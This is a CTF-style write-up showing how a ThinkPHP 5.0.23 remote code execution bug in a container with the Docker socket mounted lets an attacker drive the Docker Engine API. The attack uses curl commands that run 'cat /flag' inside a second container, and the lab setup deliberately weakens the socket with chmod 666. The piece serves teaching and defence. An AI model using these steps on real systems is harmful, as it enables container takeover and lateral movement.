What will happen if a docker management system has RCE vulnerability?

testing environment(a simple ctf game)

• container_1: a think thinkphp5.0 web application(a simple docker management system)
• container_2: another web application(flag in it)

0x01 What is Docker Engine API?

• Officinal Docs
  • The Docker Engine API is a RESTful API accessed by an HTTP client such as wget or curl, or the HTTP library which is part of most modern programming languages.
• Examples
  • Run a container:

    •   $ curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "alpine", "Cmd": ["echo","hello world"]}' -X POST http:/ip:port/containers/create{"Id":"container_id","Warnings":null}
        $ curl --unix-socket /var/run/docker.sock -X POST http:/ip:port/containers/container_id/start
        $ curl --unix-socket /var/run/docker.sock -X POST http:/ip:port/containers/container_id/wait{"StatusCode":0}
        $ curl --unix-socket /var/run/docker.sock "http:/ip:port/containers/container_id/logs?stdout=1"hello world
      

  • List and manage containers

    •   $ curl --unix-socket /var/run/docker.sock http:/ip:port/containers/json
      

  • Stop all running containers

    •   $ curl --unix-socket /var/run/docker.sock http:/ip:port/containers/json
        $ curl --unix-socket /var/run/docker.sock -X POST http:/ip:port/containers/container_id/stop
      

  • List all images

    •   $ curl --unix-socket /var/run/docker.sock http:/ip:port/images/json
      

  • and so on

0x02 Someting about the file /var/run/docker.sock

• Short answer: it's the Unix socket the Docker daemon listens on by default, and it can be used to communicate with the daemon from within a container.
• Examples
  • communicate with the daemon within a container
    • I've mounted the host's / var / run / docker. sock file into the container.
    • curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json(Container interior)
    • 1754_1.png
  • Through the api, we can operate docker daemon when we Inside the container.

0x03 Build a test env

• container_1:
  • mounted the host's /var/run/docker.sock file into the container
  • chmod 666 /var/run/docker.sock (otherwise, the www-data user will not be able to access it)
  • apache2 + php + a php app(docker managment system)
• container_2:
  • we should operate this container to get flag

0x04 How we can get the flag?

• thinkphp5.0.23 has a RCE vulnerability
• payload
  • 1756_1.png
  • 1758_1.png
• We can execute system commands through this vulnerability
• exec: curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
  • 1760_1.png
• container_1:(a thinkphp5.0.23 web app)
  • controller: Index.php

 <?php
 namespace app\index\controller;
 class Index{    
    public function index(){        
        $content = json_decode(`curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json`, true);        
        $i = 1;        
        //var_dump($content);        
        echo "<h1>容器管理系统</h1>";        
        echo "<h2>正在运行的容器：</h2>";        
        foreach ($content as $value){            
            echo '容器'.$i.'<br>';            
            $i++;            
            echo "Id:".$value['Id']."<br>";            
            echo "Name:".$value['Names'][0]."<br><br>";        
        }    
    }
}

• 1768_1.png

• container_2:

  • we should execute 'cat /flag' in container_2 when we in container_1.
  • what should we do?
    • 1. create a exec by the RCE of thinkpgp5.0.23
      • curl -s --unix-socket /var/run/docker.sock -H "Content-Type:application/json" -d '{"AttachStdin": false,+"AttachStdout": true,+"AttachStderr": true, "DetachKeys": "ctrl-p,ctrl-q", "Tty": false, "Cmd": ["cat","/flag"], "Env": ["FOO=bar", "BAZ=quux"]}' http://localhost/containers/689c87c0befa/exec
      • 1762_1.png
    • 2. start the exec
      • curl -s --unix-socket /var/run/docker.sock -H "Content-Type:application/json" -d '{"AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "DetachKeys": "ctrl-p,ctrl-q", "Tty": false, "Cmd": ["date"], "Env": ["FOO=bar", "BAZ=quux"]}' http://localhost/exec/3c664f72279fe6623fcf023b60d74e34719853cfc657b1274c441f3edc3c18c6/start
      • 1764_1.png
    • 3. get the flag
      • 1766_1.png

• we almost can do anything by exec

0x05 Summary

Docker Engine API is very convenient, but it might bring some risk. So you should set up your file and user permissions to reduce the risk.

0x06 Reference

• Docker Tips : about /var/run/docker.sock
• Don't expose the Docker socket (not even to a container)
• Docker出漏洞：端口2375【附案例】
• 通过暴露的docker.sock文件接管容器
• Docker Remote api在安全中的应用杂谈